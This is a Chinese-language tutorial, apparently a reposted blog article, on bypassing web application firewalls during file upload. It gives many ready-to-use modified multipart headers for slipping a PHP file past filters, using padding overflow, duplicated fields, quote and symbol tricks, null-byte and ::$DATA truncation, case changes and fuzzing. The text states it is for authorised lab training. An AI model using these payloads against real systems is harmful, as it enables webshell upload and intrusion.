网络安全是数字时代的基石,但学习过程中必须严守法律红线。‌
根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于‌合法授权的靶场环境‌(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景
网络安全学习应以提升防御能力为目标,而非成为攻击工具。

一、基本格式:(正常的·)

content-disposition:xxxx; name=“upload_file”; filename=“xxxx”;

content-type: image/jpeg

二、抓包后对于数据的处理:

content-disposition(MIME的扩展,为属性名disposition-type是以什么方式下载):可更改

name(表单参数值): 一般不动它

filename(文件名):重点针对对象

content-type(Mime值):结合实际情况进行改动

三、数据溢出绕过:

原理:

数据范围都是有限制的,超过WAF的检测范围就不会往下检测(就好像前端浏览器输入一样,输入到限制长度就无法再输入,但前端限制可改)

利用过程:

(正常):

content-disposition:form-data; name=“upload_file”; filename=“xxxx”;

content-type: image/jpeg

方法一:在content-disposition:字段里写入无用数据(直达WAF检测不出来)

可以在form-data前面添加无效数据

content-disposition: form-data qwfasajhchsavhjfxjassbchmvjvxevcssasvad hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmn hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjs(直达WAF检测不出来) form-data; name=“upload_file”; filename=“xxxx.php”;

content-type: image/jpeg

也可以在form-data后面添加无效数据

content-disposition: form-data qwfasajhchsavhjfxjassbchmvjvxevcssasvad hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmn hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjs(直达WAF检测不出来) ; name=“upload_file”; filename=“xxxx.php”;

content-type: image/jpeg

方法二:重复Content-Disposition字段,将恶意文件放在最后(直到绕过WAF)

content-disposition:form-data; name=“upload_file”; filename=“xxxx”;

content-disposition:form-data; name=“upload_file”; filename=“xxxx”;

……

content-disposition:form-data; name=“upload_file”; filename=“x.php”;

content-type: image/jpeg

方法三:在filename处进行溢出,将恶意文件放在最后(直到绕过WAF)

**content-disposition:form-data; name=“upload_file”; filename="**vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkccas e vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkc esavcsaxAC dvdsce vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkc ecsdv dvdsce vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkc e dvdsc x.php";

content-type: image/jpeg

四、符号变异绕过:

方法一:在 filename 后面继续添加数据,让WAF认为还没检测完

**content-disposition:form-data; name=“upload_file”; filename=“x.php”;**xxxxxxxxxxxxxx

content-type: image/jpeg

方法二:在 filename 的引号上做文章

去掉一个",或者删除2个"

(让WAF认为是一个非用户输入的变量)

content-disposition:form-data; name=“upload_file”; filename="x.php;

content-type: image/jpeg

改为单引号(WAF可能只检测双引号里面的内容)

content-disposition:form-data; name=“upload_file”; filename=‘x.php’;

content-type: image/jpeg

方法三:尝试加上各种奇怪符号截断WAF的检查

但是文件又能被正常执行

content-disposition:form-data; name=“upload_file”; filename=“x.jpg;/.php”;

content-type: image/jpeg

content-disposition:form-data; name=“upload_file”; filename=“/jpeg;/x.php”;

content-type: image/jpeg

方法四:在 filename 前加上 [0x09]

content-disposition:form-data; name=“upload_file”; filename=“[0x09]x.php”;

content-type: image/jpeg

五、字符变异绕过:

方法一:Content-Disposition 的变量值变异绕过

f+orm-data

content-disposition:f+orm-data; name=“upload_file”; filename=“x.php”;

content-type: image/jpeg

丢弃掉form-data

content-disposition: name=“upload_file”; filename=“x.php”;

content-type: image/jpeg

方法二:后缀名大小写绕过

content-disposition:form-data; name=“upload_file”; filename=“x.PHp”;

content-type: image/jpeg

六、数据截断绕过:

方法一:将后缀换行,或者使用 0x0a 换行

content-disposition:form-data; name=“upload_file”; filename="x

.

p

h

p";

content-type: image/jpeg

方法二:%000x00 截断

url%00 表示ASCII码中的 0 ,而 ASCII0 作为特殊字符保留,表示字符串结束,所以当 url 中出现 %00 时就会认为读取已结束

0x 开头表示16进制,0 在十六进制中是 00 , 0x00 就是 %00 解码成的16进制

…… filename=“x.php%00/.txt”

……filename=“x.php%00/.txt”

(可以在上传时多预留了一个空格占位,再改%00和0x0所对应的hex值,从而达到修改)

方法三:::$$DATA数据量绕过

在php文件名后面加上 ::$DATA 系统会把它当作文件流来进行处理,不会检测文件的后缀名,且保留 ::$DATA 之前的文件名以及后缀

…… filename=“x.php::$$DATA”

方法四:在 filename 中插入无用数据,混淆上传文件

content-disposition:form-data; name=“upload_file”; filename=“**content-disposition:form-data;**x.php”;

content-type: image/jpeg

(插入混淆数据在里面干扰,误认为x.php没有被接收)

七、重复数据绕过:

我感觉这个和数据溢出原理一样

方法一:重复写一个错误的 filename1

content-disposition:form-data; name=“upload_file”; filename=“x.php”; filename1=“x.txt”;

content-type: image/jpeg

方法二:重写 filename

(以最后一个为准)

content-disposition:form-data; name=“upload_file”; filename=“x.txt”; filename1=“x.txt”;filename1=“x.txt”;……filename1=“x.php”;

content-type: image/jpeg

八、Fuzz字典爆破绕过:

可以使用智能添加payload(有效载荷)位置,也可手动添加(实战的主要的运用方法,都是迫不得已才用手工)

根据选择的攻击类型,和有效载荷类型不同,会有不同的效果

有效载荷可以选择 Simple list(简单清单)------->导入自己下载或收集的规则(还可以点击添加,一个一个加上补充的)

在这里插入图片描述

在这里插入图片描述

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐